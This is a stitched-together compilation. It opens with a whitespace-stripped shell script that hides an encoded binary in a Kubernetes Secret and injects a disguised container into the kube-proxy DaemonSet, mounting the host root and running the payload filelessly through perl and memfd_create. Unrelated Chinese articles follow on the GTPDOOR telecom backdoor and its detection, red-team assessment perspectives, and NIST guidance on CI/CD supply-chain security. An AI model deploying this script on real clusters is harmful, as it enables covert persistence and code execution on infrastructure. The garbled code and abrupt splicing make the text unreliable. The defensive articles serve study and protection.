ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/containers:/{printNR}')
volume_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/volumes:/{printNR}')
image=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|grep'image:'|awk'{print$2}')
#createpayloadsecret
catEOF|kubectl--kubeconfig/root/.kube/configapply-f-
apiVersion:v1
kind:Secret
metadata:
name:$secret_name
namespace:kube-system
type:Opaque
data:
$secret_data_name:N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA.
#injectmaliciouscontainerintokube-proxypod
kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml\
|sed'$volume_line_numa\\\\\\-name:$volume_name\nhostPath:\npath:/\ntype:Directory\n'\
|sed'$ctr_line_numa\\\\\\-name:$ctr_name\nimage:$image\nimagePullPolicy:IfNotPresent\ncommand:[\'sh\']\nargs:[\'-c\',\'echo\$$payload_name|perl-e'my\$n=qq();my\$fd=syscall(319,\$n,1);open(\$FH,qq(=).\$fd);sele ct((select(\$FH),\$|=1)[0]);print\$FHpackq/H*/,my\$pid=fork();if(0!=\$pid){wait};if(0==\$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\']\nenv:\n-name:$payload_name\nvalueFrom:\nsecretKeyRef:\nname:$secret_name\n
安全研究人員發現了一個專為移動運營商網絡設計的新的Linux 後門，名為GTPDOOR。 GTPDOOR 背後的威脅分子以GPRS 漫遊交換(GRX) 附近的系統為目標，例如SGSN、GGSN 和P-GW，這些系統可以為攻擊者提供對電信核心網絡的直接訪問。
GRX 是移動電信的一個組件，可促進跨不同地理區域和網絡的數據漫遊服務。服務GPRS 支持節點(SGSN)、網關GPRS 支持節點(GGSN) 和P-GW（分組數據網絡網關（用於4G LTE））是移動運營商網絡基礎設施內的組件，每個組件在移動通信中發揮不同的作用。
由於SGSN、GGSN和P-GW網絡更多地暴露在公眾面前，IP地址範圍列在公開文件中，研究人員認為它們可能是獲得移動運營商網絡初始訪問權限的目標。
安全研究人員解釋說，GTPDOOR 很可能是屬於“LightBasin”威脅組織(UNC1945) 的工具，該組織因專注於全球多家電信公司的情報收集而臭名昭著。
研究人員發現了2023 年底上傳到VirusTotal 的兩個版本的後門，這兩個版本基本上都沒有被防病毒引擎檢測到。這些二進製文件針對的是非常舊的Red Hat Linux 版本，表明目標已經過時。
隱秘的GTPDOOR 操作GTPDOOR 是一種專為電信網絡量身定制的複雜後門惡意軟件，利用GPRS 隧道協議控制平面(GTP-C) 進行隱蔽命令和控制(C2) 通信。它用於部署在與GRX 相鄰的基於Linux 的系統中，負責路由和轉發漫遊相關的信令和用戶平面流量。
使用GTP-C 進行通信允許GTPDOOR 與合法網絡流量混合，並利用不受標準安全解決方案監控的已允許端口。為了提高隱蔽性，GTPDOOR 可以更改其進程名稱以模仿合法的系統進程。
該惡意軟件偵聽特定的GTP-C 回顯請求消息（“魔術數據包”）以喚醒並在主機上執行給定的命令，將輸出發送回其操作員。
惡意數據包結構
GTP 數據包的內容使用簡單的XOR 密碼進行身份驗證和加密，確保只有授權的操作員才能控制惡意軟件。
GTPDOOR v1 支持在被破壞的主機上執行以下操作：
马云惹不起马云設置用於C2 通信的新加密密鑰
马云惹不起马云將任意數據寫入名為“system.conf”的本地文件
马云惹不起马云執行任意shell命令並發送回輸出
GTPDOOR v2 支持上述操作以及以下操作：
马云惹不起马云指定允許通過訪問控制列表(ACL) 機制與受感染主機通信的IP 地址或子網
马云惹不起马云檢索ACL列表，對後門的網絡權限進行動態調整
马云惹不起马云清除ACL 以重置惡意軟件
安全研究人員還強調了該惡意軟件能夠從外部網絡秘密探測，通過任何端口傳遞的TCP 數據包引發響應。
GTPDOOR 攻擊概述
檢測與防禦檢測策略包括監視異常的原始套接字活動、意外的進程名稱以及特定的惡意軟件指示器（例如重複的系統日誌進程）。
推薦的檢測步驟如下：
1.使用lsof 檢查打開的原始套接字，表明存在潛在的漏洞。
2.使用netstat -lp --raw 查找異常的監聽套接字。
3.識別具有異常PPID 的模仿內核線程的進程。
4.搜索/var/run/daemon.pid，這是GTPDOOR 使用的互斥文件。
5.查找可能由惡意軟件創建的意外system.conf 文件。
PID異常
還提供了以下供防御者檢測GTPDOOR 惡意軟件的YARA 規則。
最後，安全研究人員提出了防禦措施，如設置嚴格規則並自覺遵守GSMA 安全指南，利用GTP 防火牆，阻止或過濾掉惡意數據包和連接。
安全評估的目的是減少組織的總體風險，每一個視角都有其自身的價值。所有這些方法應該組合在一起產生一種有效的安全評估策略，該策略應盡可能覆蓋組織的攻擊面，並識別盡可能多的威脅。這樣，組織就可以最大限度地降低風險。在試圖編寫一份全面的安全評估報告時，並不是所有的初始視角都適用於任何情況。因此，必須超越每種攻擊面和風險評估的價值，並深入研究每種攻擊面和風險評估的其他優點和缺點。這使得評估人員不僅知道哪些視角是最需要的，而且還知道哪些視角在任何給定的評估場景中是最可行的。
引入風險在演練之前的任何安全性評估中，必須完成建立演練範圍和ROE這一極其重要的步驟。在開始評估組織的安全性之前，有嚴格的流程來遵循演練將如何執行的細節。不同的初始視角在理解和同意演練的範圍和規則方面呈現出不同的複雜性。演練範圍和ROE用於幫助組織確定演練可能引入的可接受的風險水平。
這種風險表現在兩個方面。首先，安全評估可能會通過評估活動攻擊重要的設備或服務，從而給組織帶來風險。第二，評估者從給定的角度進行評估所需的訪問可能會增加總體攻擊面或其嚴重程度。
外部視角與風險引入最初由外部視角評估的攻擊面是由專門在互聯網上提供的設備和服務組成的。這意味著設備和服務會遭受攻擊以及面臨大量的流量。然而，嘗試執行網絡掃描和漏洞利用所帶來的額外壓力仍然會使設備崩潰。儘管風險很低，但必須考慮到這一風險來源，因為失去一個面向互聯網的服務可能會影響組織的外部和內部用戶。因為評估人員不需要建立內部訪問來從外部視角進行評估，所以執行此類評估不會增加額外的攻擊面。
DMZ視角和風險引入與外部視角類似，DMZ視角最初側重於用於基於互聯網流量的設備和服務。評估導致的潛在停機所造成的風險同樣很低。評估人員訪問DMZ中的設備時不應帶來額外風險，因為DMZ的目的是將某些設備從網絡的其餘部分分割開來。由於DMZ評估視角從DMZ中的橫向位置而不是從互聯網上測試設備，因此嘗試執行網絡掃描和漏洞利用產生意外後果的可能性稍大一些。設備可能沒有準備好處理這種橫向通信，這可能會導致問題出現。這一視角要求在非軍事區（DMZ）內建立一個存在點，從該點開始評估。儘管這使得評估人員能夠深入組織的一個層次，但風險仍然可以忽略不計。交給評估人員的訪問由於其在非軍事區的性質與內部網絡隔離，因此由於其初始評估向量的額外攻擊面，因此不會造成額外風險。
內部視角和風險引入從內部視角進行的評估能夠立即與不面向互聯網的設備和服務交互。這些設備不太可能應對大量掃描或攻擊嘗試，因此從這個視角評估設備存在一定的風險。與外部用戶相比，此處的拒絕服務更可能導致內部用戶缺乏可用性。此外，此評估導致的停機更有可能影響組織功能。內部視角也增加了攻擊面。隨著一個組織授予必要的訪問權限，或者惡意軟件的成功引入，評估人員從這個視角將其他訪問方式引入到一個組織中。
關鍵視角和風險引入與其他初始視角相比，關鍵視角代表了組織運作能力的高風險水平。開展此類評估的初始原因主要是那些被確定為對組織存在能力極其關鍵的風險項。評估對此類設備造成的任何問題都可能損害組織正常運作的能力。攻擊面增加所造成的風險也相對較高。與內部視角一樣，關鍵視角要求組織引入訪問向量來開始評估。此訪問向量添加到組織中的攻擊面更危險，因為它直接指向高危風險項。評估員使用的訪問向量造成的損害對組織來說是極其危險的。在進行此類評估時應格外小心。
前面我介紹了CAPTR 團隊利用的關鍵初始演練視角以及已經在使用中的已建立視角。對這些初始演練視角如何影響進攻性安全評估的過程和結果進行了深入分析。讀者現在應該對初始化視角以及與關鍵初始化視角相關的好處有了更深入的了解。
反向紅隊通過CAPTR 團隊所使用的特定範圍的方法論選擇目標，並使用關鍵視角確定最合適的演練起點，即可開始執行評估。反向紅隊演練鏈路是一種從關鍵視角進行評估的獨特方式，它創建了一種報告機制，使用反向風險關係為此類業務提供極高的成本效益。下文將解釋反向演練鏈路的過程，以及它可以產生的好處和結果的表示。
反向紅隊演練鏈路反向紅隊演練鏈路是利用從初始範圍項目中被動收集的本地情報來定義攻擊者可能使用的訪問向量並適當擴展CAPTR團隊範圍的過程。為了提高高風險漏洞利用和訪問路徑的效率，反向紅隊演練鏈路將重點放在圍繞給定機器的可識別通信通道上，而不是圍繞整個網絡。這種方法為了精確目標的選擇和評估而犧牲了評估的目標數量。
本地評估在假定APT最終可以在入侵過程中實現這樣的上下文的情況下，使用提升的權限對作用域關鍵對象進行局部評估。在CAPTR團隊演練窗口開始時，將評估那些允許攻擊者影響洩露對象的機密性、完整性或可用性的本地權限提升漏洞和本地錯誤配置漏洞。此外，該本地上下文用於識別潛在的遠程訪問向量，例如代碼執行漏洞或糟糕的身份驗證配置。通過訪問本地存儲的數據和操作系統功能，CAPTR團隊評估人員可以有效識別攻擊者可用於初始範圍項目的訪問向量，而無需對潛在風險執行盲目的網絡掃描和漏洞利用。
強調此方法優點的最佳方法是通過使用下圖所示網絡的簡單示例。 CAPTR團隊以結果為導向的範圍界定表明，Linux文件服務器對組織構成了致命的危害，將從訪問服務器的關鍵初始角度進行評估。
CAPTR團隊評估方向性
在運行多個態勢感知命令後，評估人員使用本地可用的本機操作系統命令來確定組織中被視為致命危害對象的機器的大部分信息。
評估人員了解到Linux服務器使用的內核版本已過時，易受本地權限提升漏洞的攻擊。在組織中的這樣一台關鍵機器上從非特權用戶過渡到超級用戶的能力構成了極其危險的風險。如果其他評估模型沒有完全且成功地破壞網絡中的設備，導致並包括這台可能深入目標組織的機器，那麼這種風險也將不會在其他評估模型中被發現。 CAPTR團隊立即評估了該高風險項，在建立態勢感知的最初幾分鐘內，就發現了一個關鍵的可報告風險項，甚至沒有進行外部漏洞利用和擴展評估。
初始態勢感知命令通知評估人員，有三台機器與高風險機器通信。有一台計算機，可能是管理員，正在使用SSH遠程訪問和管理該計算機。此信息可在文件系統中找到。與SSH協議相關的日誌和文件位於計算機上的用戶目錄中，執行history 系統命令的結果中可以看到用戶的活動信息，很明顯是網絡管理員的典型活動。如果沒有CAPTR團隊中使用的本地特權視角，這些信息可能永遠不會被發現，如果已經被發現，這意味著典型的紅隊評估將遠程對多個設備執行漏洞利用，並將運行存在潛在危險的內核級權限提升exp，以便獲得與CAPTR 團隊在開始時所使用的方法看到的相同信息的權限。
評估人員通過在本機執行操作系統命令查看已建立連接的網絡信息表明還存在其他兩個通信對象。一個是訪問Linux服務器託管的80端口上的只讀web文件共享，另一個是訪問21端口上的文件傳輸服務器。進一步檢查後，評估人員確定文件傳輸服務器用於將文件放在Linux服務器上，供其他用戶查看和下載。通過進一步的本地情報收集，評估人員還發現，文件傳輸能力不限於特定位置，如web文件共享目錄，遠程文件傳輸可能會覆蓋通過機器調度機制以超級用戶權限執行的多個未受保護的腳本。
目前，尚未進行任何漏洞利用，我們在不到一天的評估時間內已經有以下極有價值的發現可以報告：
◼使用內核漏洞提升本地權限
◼作為超級用戶執行遠程代碼
-作為超級用戶執行的可寫調度作業的權限配置不當
-無約束的文件傳輸服務器
本地情報分析評估還確定了致命風險項的三個一級通信對象。確定這些目標後，CAPTR團隊繼續進行分析，以確定評估這些主機的順序。這種優先順序對報告也很有價值，稍後將在確定哪些環節最危險時進行報告。這些風險鏈由來源、目的地、通信方法和權限構成。設備之間可能有多個風險鏈。例如，如果管理員的計算機可以通過SSH（作為管理用戶）或文件傳輸（作為非特權用戶）訪問關鍵主機（下圖中的Server），這意味著攻擊者需要在該第一層通信上獲得較少的特權才能攻擊關鍵主機。在繼續完成這個示例的過程中，我提供了一些簡單的優先順序和評估決策點。在現實生活中，每種場景都會對任何攻擊性安全評估施加其獨特的屬性，評估人員的決定可能會以不同的方式推進演練。該場景需要先澄清評估流程，但與流程本身不同的是，所包含的風險決策應作為示例而不是指導，因為它們可能因組織而異。
回到我們的例子。通過對演練範圍內致命危害項高危主機的本地評估我們可以確定的風險鏈如下：
10.0.0.2上的超級用戶可以使用SSH協議作為超級用戶訪問10.0.0.1
10.0.0.3上的非特權用戶可以使用FTP作為非特權用戶訪問10.0.0.1
10.0.0.4上的非特權用戶可以使用HTTP作為非特權用戶訪問10.0.0.1（見下圖）
通信鏈路
第一個風險鏈構成了攻擊關鍵主機Server的最大風險，因為它提供了超級用戶對關鍵主機Server的即時交互訪問。任何能夠破壞該第一層通信的攻擊者都會對Linux服務器造成嚴重威脅。 FTP風險鏈排第二，因為它提供了非特權訪問。但是，它還允許將文件移動到服務器，並且，根據我們對存在的已識別本地權限提升漏洞的了解，這是一條潛在的但更複雜的遠程交互路徑。 HTTP風險鍊是最後一個，因為它允許非特權用戶從特權主機下載數據，是只讀的，需要利用額外的漏洞才能攻擊關鍵主機Server。
全系列文章請查看：https://www.4hou.com/member/dwVJ
本章將詳細介紹外部、DMZ、內部和關鍵資產的入網點的初始演練視角。初始視角是攻擊性安全評估的出發點，評估人員從此開始與目標系統進行交互，然後進行枚舉和漏洞利用。每種視角都會通過其在組織中評估和利用漏洞的能力進行對比。然後，根據攻擊面審查的效率和方式對這些視角進行比較。另外，文本還概述了每種視角的優缺點。在本章末尾，你就能了解不同的演練初始化點如何影響攻擊性安全評估，並了解CAPTR 團隊使用的關鍵資產視角是值得甚至是必要的。重要的是要注意，攻擊性安全評估是一個人工進行的過程，除了技術漏洞識別和利用工具外，還涉及情報和技能。初始視角幾乎影響手動攻擊性安全評估的所有方面，下面的分析將演示如何從不同的初始視角進行演練。下圖說明了演練中不同的初始視角。
外部初始演練視角外部演練視角是安全評估最傳統的出發點。外部演練初始視角通常從基於互聯網的入口開始，並將重點放在組織安全的外圍，如下圖所示。
DMZ 初始演練視角從DMZ的視角評估網絡需要從DMZ本身作為開始進行評估，重點不僅是從側面攻擊面向互聯網的服務器，而且還要評估從DMZ內部攻擊組織內部的能力。該視角評估的重點是確定對惡意攻擊者在DMZ內從一個DMZ託管的面向互聯網的設備轉移到另一個設備的能力以及攻擊者從DMZ移動到內部網絡的能力進行安全評估，如下圖所示。
內部初始演練視角內部視角使用網絡本身作為出發點。此視角通常通過網絡中機器上的用戶上下文來開展。在這個演練視角中，評估的重點是確定在該內部網絡中定位跳板機器和提升權限的能力，如下圖所示。
關鍵資產初始演練視角CAPTR 團隊從對組織構成最大風險的一個或多個存在點開始使用關鍵觀點。從這個視角進行評估的重點是識別此類設備的本地漏洞，這些漏洞可能使攻擊者入侵關鍵資產。然後，可以將評估擴展到組織中允許攻擊者轉向關鍵資產的點，並繼續向外擴展。第四種視角旨在緩解組織內網遭到破壞行為的影響，而不管允許攻擊者進入的漏洞或內部威脅的位置是否會影響這種評估視角。以入侵為目標開始安全評估，而不是評估潛在的起點，可以增強抵禦各種威脅的能力。該視角不同於內部初始視角，因為該視角是從CAPTR團隊範圍內確定的致命或關鍵資產點作為開始，而不僅僅是組織內的非特定特權或非特權訪問，如下圖所示。
對風險評估的影響為了比較和對比安全評估的四種不同初始視角，我接下來將對風險進行定量分析。影響面是衡量不同攻擊對象的破壞程度的指標。評級風險的另一部分是它發生的可能性。時間度量用於顯示可能性，它表示所花費的時間量，從給定的角度評估產生不同影響的信息折衷所需的時間。此評估還表明攻擊者可能也會這樣做。為了確定這些評估視角可能導致的結果的影響，我將影響分為四個級別，數字越高，表明該級別的設備如果受到攻擊，對組織的影響越大（見下圖）。 0級項目的影響可以忽略不計；3級項目對組織的存在和功能是致命的。為了確定每個視角可能識別的信息類型，我在下圖中創建了一個大圖，顯示了網絡的哪些部分可能在黑匣子中包含哪些級別的數據保護分類。
如前所述，可能性表示為從給定視角進行評估以確定具有給定影響面的結果所需的時間。例如，如果一個評估視角幾乎能夠立即找到具有給定保護級別的數據，那麼使用的視角很可能會評估該影響級別的風險。如果某個視角是需要花費時間並且通過跳板來訪問到不同的數據保護級別，則可能性很低。
重要的是要理解，評估過程中時間的流逝也可能會改變評估視角。評估可以從網絡的外部初始視角開始，然後通過漏洞利用，訪問DMZ中的設備。從這一點開始，評估就是多個攻擊角度的表示。隨著評估進一步深入網絡，該過程將繼續進行。所涉及的定義增量是時間、過渡視角和可能性。
對風險評估的影響：外部視角外部初始評估視角側重於網絡的外圍，只有在識別並利用組織最外層的漏洞後，才能轉移到組織的其他部分。因此，在評估的早期，很可能只有0級和1級相關的結果。時間可能允許演練通過深入網絡來破壞更高級別的數據；但是，因為這需要更長的測試時間，所以可能性被認為很低。下圖顯示了隨著評估時間的持續，這種視角的變化。
由於外部視角與網絡中的3級數據相距甚遠，因此到達這一點所需的時間較長，因此不太可能。儘管0級信息的影響很小，但幾乎可以肯定的是，這種可能性會產生與從這個視角發現的結果相關的中等風險。此視角不太可能產生更高級別的數據，因為它需要時間來發現其他漏洞，從而使該演練視角能夠深入組織。可能被評估的風險水平為低至中等。
對風險評估的影響：DMZ視角DMZ視角相對於外部視角具有優勢，因為它從組織的DMZ內已經存在的一個點開始，並且不必發現允許其從外網轉到DMZ的漏洞（見下圖）。
由於從這一角度進行評估不需要時間從外部角度進行內部分析，因此與高級別數據保護相關的發現更有可能，因為識別這些發現所需的時間較少，從而增加了發現有影響的威脅的可能性。 DMZ視角在評估中等風險水平方面具有最大潛力。
對風險評估的影響：內部視角從網絡中間存在點的初始視角來看，評估更有可能在1級和2級數據早期發現結果。與前面討論的兩種視角相比，這種視角還有一個副作用，即使用這種初始視角進行評估，實際上不太可能發現導致0級信息的發現。與前兩個視角一樣，從內部初始視角到能夠入侵3級數據的軸心需要時間。
下圖顯示，與0級數據一樣，從這一初始視角進行評估，要得出關於3級數據的調查結果，仍然需要時間。因此，最有可能找到風險等級1和2的數據。因為從這個視角來看，很快發現的漏洞不太可能破壞3級數據，所以它仍然不能代表對最高風險級別的有效評估。然而，內部視角顯然代表了大的潛在風險截面。
對風險評估的影響：關鍵視角使用關鍵初始視角的評估從網絡最有價值的地方開始。這意味著，與其他三個角度不同，3級數據被攻擊的結果在評估開始時確定。不幸的是，使用視角需要時間才能到達網絡中包含0到2級數據的點（見下圖）。
使用此視角可降低在評估期間發現1級和2級數據的可能性，且評估不太可能遇到0級數據的發現。關於一個組織的總體評估效率，這種初始視角在涵蓋所有風險級別時可能是最不有效的。它在查找級別3數據時非常有效，因為它從承載此類信息的設備開始。因此，這種評估視角更有可能發現導致3級數據被攻擊外洩的漏洞，因此，代表了評估組織面臨的最極端風險水平的能力。
對攻擊面覆蓋的影響下一步要在初始視角之間進行比較的是每個視角在評估期間審查攻擊面的能力。這是證明安全評估有效性的一個極其重要的屬性。儘管評估可能不會產生涵蓋極有價值的風險敞口的結果，但如果能夠評估組織的大部分攻擊面，評估仍然可能有效。攻擊面是能夠影響給定目標的任何實體或資產。安全評估的責任是通過評估漏洞來覆蓋攻擊面。但是，不能平等對待所有攻擊面，因為整個攻擊面的不同部分代表了對不同級別數據的潛在即時訪問。
例如，有一個更廣泛的攻擊面，由面向外網的面表示，因為它們受到的攻擊和枚舉嘗試次數要多得多。然而，正如已經顯示的那樣，允許訪問面向外網的服務器的漏洞最初可能並不一定會削弱組織。對每個初始視角如何影響攻擊面分析方式的剖析進一步說明了每個初始視角作為有效安全評估視角的情況，並展示了它們如何共同構成組織充分網絡安全評估的必要部分。
攻擊面覆蓋：外部視角組織中面向互聯網的部分是最容易暴露的，並且可以被最多的用戶和攻擊者訪問。因此，網絡的面向互聯網的層可以被歸類為具有最多的攻擊面。這裡存在的漏洞如果被利用，可能不會導致最嚴重的後果，但這是最有可能被發現的地方。大多數現代組織不得不承認，為互聯網用戶提供服務的本質增加了他們的風險。安全評估的外部視角為評估該攻擊面提供了最直接的方法，如下圖所示。
外部視角攻擊面評估
外部視角允許覆蓋組織的大片攻擊面。但是，如果在測試期間進行評估，那麼在評估深入到網絡之前還有一段時間。下圖顯示了評估的攻擊面（紅色部分），以及評估如何隨著時間推移過渡到攻擊面更深的部分。初始化時，第一個攻擊面金字塔（如下圖左側）顯示外部視角如何僅看到組織的外部攻擊面。中間金字塔表示從外部角度評估的中間部分，以及它將如何達到評估組織內部更深層次攻擊面的能力。右邊的金字塔顯示了評估的結束，以及它是如何檢查組織深層攻擊面的一部分，但不是全部。
攻擊面覆蓋：DMZ 視角在DMZ中開始評估消除了對漏洞的需要，從而使得評估人員繞過面向互聯網的防禦。因此，從這一視角進行的評估能夠更直接地評估DMZ中的其他設備，並通過橫向枚舉確定其脆弱性（見下圖）。
如上圖所示，DMZ演練視角在能夠開始評估DMZ中的設備之前不需要時間。它還能夠以比外部視角更快的方式開始探測內部網絡，因為外部視角是組織攻擊面的主體，在繼續之前必須首先解決。然而，這一評估視角面臨的一個潛在障礙是，它可能無法識別基於互聯網的掃描和攻擊存在的漏洞，因為DMZ中的設備應該與互聯網通信，而不是相互通信。
攻擊面覆蓋：內部視角內部視角承擔了內部威脅的責任，因此可以從網絡的更深層次入手，接觸到更多的攻擊面。這也意味著，與DMZ視角一樣，評估一個組織面對互聯網的威脅向量的能力並不容易實現，事實上，在這種情況下可能相當耗時（見下圖）。
內部視角攻擊面評估
內部演練視角的好處是，在直接環境中分析的攻擊面可能會導致漏洞的發現，這些漏洞可能會危害組織無意公開的數據。這與外部和DMZ評估觀點相反，外部和DMZ演練視角可能會在更大、更易訪問互聯網的攻擊面上發現許多意義不大的漏洞。
攻擊面覆蓋：關鍵視角關鍵視角分析了迄今為止一個組織最少的攻擊面。它與外部視角截然相反，外部視角在開始的時候就聚焦於一個非常大的面；關鍵視角關注的是優先部分。從這一點來看，假設從這個視角開始的評估能夠在任何合理的時間範圍內評估面向互聯網的服務是不現實的。該視角旨在提供與影響較大的對象相關的最危險攻擊面的最有效分析（見下圖）
關鍵視角攻擊面評估
關鍵視角評估接近組織攻擊面的不同部分的方式也與其他三個視角不同。例如，當IT部門在一個組織面向互聯網的周邊發現盡可能多的漏洞時，可以通過外部演練視角獲得最大的價值。這可能意味著評估人員不會利用已識別的漏洞深入組織，直到他們認為已對整個外部網絡進行了評估。這種嘗試的完整攻擊面覆蓋是其他評估視角的必要組成部分。關鍵資產視角不需要完全評估下一層。相反，關鍵視角將重點放在攻擊者如何將數據或機器轉移到無法接受的損失上。它不是尋找攻擊面上的所有漏洞，而是將重點放在那些使訪問能夠轉向致命和關鍵的風險項的點上。
全系列文章請查看：https://www.4hou.com/member/dwVJ
1.前言在敏捷開發的模式下，應用程序會通過DevSecOps 的敏捷軟件開發生命週期（SDLC）範式進行開發，並使用持續集成/持續交付（CI/CD）管道的流程。
然而，在軟件開發、供應和交付運營中涉及的數字應用、基礎設施服務和供應鏈數據等各種活動中（這些活動共同構成了數字供應鏈），攻擊者可以通過鏈條中的一個薄弱點，隱蔽地引入攻擊載體，對數字供應鏈進行攻擊，繼而引發廣泛的後果。
日前，美國國家標準與技術研究院（NIST）發布了特別出版物《DevSecOps CI/CD 管道中软件供应链安全的集成策略》 (NIST SP 800-204D)。本文基於此文，引發深入討論，闡述如何將數字供應鏈安全保證措施集成到CI/CD 管道中以保護底層活動完整性，從而確保將源代碼帶入構建、測試、打包和部署階段的CI/CD 管道活動不會受到損害。
2.數字供應鏈(DSC)的定義從高層次上講，軟件供應鍊是創建、轉換和評估軟件製品質量和政策一致性的一系列步驟的集合。這些步驟通常由使用和消費製品以生成新製品的不同參與者執行。例如，構建步驟使用一系列人工製品作為工具（如編譯器和鏈接器），並消耗人工製品（如源代碼）來生成新的人工製品（如編譯後的二進製文件）。
我們以往所熟知的軟件供應鍊主要是基於傳統軟件供應關係，通過資源和開發供應過程將軟件產品從供方傳遞給需方的網鏈系統。而這樣的定義如今已無法適應數字經濟時代由於技術創新帶來的產品服務、基礎設施和供應鏈數據等供應對象及供應關係的新變化。
因此，數字供應鏈的概念在軟件供應鏈的基礎上應運而生。數字供應鍊主要由數字應用、基礎設施服務、供應鏈數據三大主要供應對象組成。其中，數字應用包括軟件、Web、固件等，基礎設施服務是指雲服務、IT託管服務等，而供應鏈數據則包括基礎數據和敏感信息。
相較於軟件供應鏈，數字供應鏈更加明確的指出了基礎設施服務和供應鏈數據代表產品服務在供應活動中發揮的建設作用及重要性。
圖1：在數字供應鏈步驟中不同要素之間的互動
數字供應鏈中的大多數活動都會對最終的應用產品產生重大影響。因此，每項活動的安全性對於最終結果的安全性至關重要。在供應鏈引入、生產鏈、供應鏈交付運營的過程中，構建、打包和交付數字應用，重新打包和容器化以及基礎設施服務安全上線運營等都是數字供應鏈的核心範疇。
3.數字供應鏈安全：重點內容和風險因素3.1數字供應鏈安全的重點內容在研國標《信息安全技术 软件供应链安全要求》 明確了軟件供應鏈安全保護目標，分別包括提升軟件產品或服務中斷供應等風險管理能力、提升供應活動引入的技術安全風險管理能力、提升軟件供應鏈數據安全風險管理能力。
數字供應鏈安全作為軟件供應鏈安全概念的關鍵演進，其發展建立在軟件供應鏈安全的基礎之上。相比之下，數字供應鏈安全涉及的保護範圍更廣，保護對象的內涵更加豐富。數字供應鏈安全的重點內容包括：
•數字應用安全：圍繞數字應用的開發全流程與上線運營整體階段，包含應用安全開發（DevSecOps/SDL)、開源治理（合規/風險）和數字免疫（防禦左移，代碼疫苗）。
•基礎設施服務安全：包含雲原生安全（CNAPP）和供應鏈環境安全。
•供應鏈數據安全：包含API安全和應用數據安全。
3.2數字供應鏈中的風險因素數字供應鏈的風險因素通常包括：
•開發環境中的漏洞：開發環境對數字供應鏈的安全性構成了根本性的風險，不應將其作為構建流程的一部分加以信任。成熟的SDLC 流程只有在代碼審查和掃描程序到位後，才會將代碼和資產納入其軟件配置管理(SCM) 主線和版本分支。
•威脅參與方：一般是尋求以特權方式訪問數字供應鏈的外部攻擊者，或心懷不滿、製造內部威脅的員工或供應商；非惡意的威脅參與方也可能影響供應鏈的安全，如軟件工程師由於缺乏工具或為了方便使用而故意隱瞞，導致機密管理不善。
•攻擊向量：包括惡意軟件、代碼重用（代碼級別的引入）、依賴庫和依賴組件的引入、社會工程學、網絡攻擊、物理攻擊等。
•攻擊目標（即資產）：包括源代碼、憑證、敏感信息，如個人身份信息(PII)、受保護健康信息(PHI)、知識產權(IP)、加密材料（如軟件成品簽名密鑰）和專有信息等。
•利用類型：入侵行為通常包括在數字供應鏈中註入易受攻擊或惡意的依賴項、可訪問其他系統的被盜憑證、將惡意代碼或漏洞代碼注入資源庫、通過提交合併請求竊取機密等。
4.CI/CD 管道的安全目標和可信實體在CI/CD 流水線中，實現數字供應鏈安全的一個共同方法是生成盡可能多的出處數據。出處數據與系統或系統組件的起源、開發、所有權、位置和更改的時間順序相關聯，包括促成這些更改或修改的人員和流程。在生成這些數據的同時，還應有相應的機制對其進行驗證、認證，並在決策中加以利用。
總的來說，CI/CD 管道需要添加的安全保證措施：
•在開發和部署第一方軟件時採用的數字供應鏈內部安全做法；
•在採購、集成和部署第三方軟件（即開源和商業軟件模塊）時採用的安全做法。
4.1 CI/CD 管道的安全目標在CI/CD 管道中應用數字供應鏈安全措施或實踐有兩個安全目標：
1.積極維護CI/CD 管道和構建流程。
2.確保上游源頭和製品（如資源庫）的完整性。
最常見的方法是在CI/CD 平台中引入安全措施，使開發人員能夠自動構建、測試和部署管道。
4.2 CI/CD 管道中需要信任的實體零信任架構側重於保護硬件系統（如服務器）、服務和應用程序本身等資源。訪問這些資產的實體（如用戶、服務和其他服務器）本身並不值得信任，零信任架構的主要目標就是建立這種信任。
在CI/CD 管道中，信任的範圍要大得多，至少需要以下步驟：
•參與執行各種數字供應鏈活動（如供應鏈引入、生產鏈、供應鏈交付運營）的實體應通過驗證憑證進行身份驗證。在認證的基礎上，根據企業業務政策，通過一個稱為授權的過程，為這些實體分配適當的權限或訪問權。
•應通過驗證與之相關的數字簽名來確保人工製品及其存儲庫的完整性。這種完整性保證產生信任。
•在整個CI/CD 系統中，上述信任的建立應該是一個循環往復的過程，因為製品要經過不同的存儲庫才能最終成為最終產品。
•每個構建步驟的輸入和輸出都應經過驗證，以確保預期組件或實體執行了正確的步驟。
表1舉例說明了典型的CI/CD 管道中需要信任的實體。
表1：信任實體
5.將數字供應鏈安全集成到CI/CD 管道中為了概述將數字供應鏈安全集成到CI/CD 管道中的策略，有必要了解這兩種管道各自的流水線及其總體安全目標。
激活CI/CD 管道的前提條件如下：
•加固CI/CD 執行環境（如虛擬機或Pod），減少攻擊面。
•為操作各種CI/CD 管道的人員（如應用程序更新人員、軟件包管理員、部署專家）定義角色。
•確定執行各種任務的細粒度授權，如生成代碼並提交到SCM、生成構建和軟件包，以及檢查各種製品（如構建和軟件包）進出版本庫。
•通過部署適當的工具，實現整個CI/CD 管道的自動化。 CI 和CD 流水線的驅動工具處於更高的級別，會調用一系列特定功能的工具，如用於從版本庫中檢出代碼、編輯和編譯、代碼提交和測試的工具，這包括軟件成分分析SCA工具、靜態應用安全測試SAST和動態應用安全測試DAST等。一般來說，驅動工具或構建控制平面的執行信任度要高於構建等單個功能步驟。
•為應用程序代碼的開發和部署定義CI/CD 管道活動和相關安全要求；基礎設施即代碼，包含部署平台的詳細信息；策略即代碼和配置代碼，指定運行時設置（如另一種標記語言(YAML) 文件）。
5.1 確保CI 管道中工作流的安全CI 管道中的流水線主要包括構建操作、版本庫（公共和私有）的PULL/PUSH操作、軟件更新和代碼提交。
用於安全運行CI 管道的框架的總體安全目標包括：
•同時支持雲原生應用和其他類型應用的能力。
•符合標準的證據結構，如元數據和數字簽名。
•支持多種硬件和軟件平台。
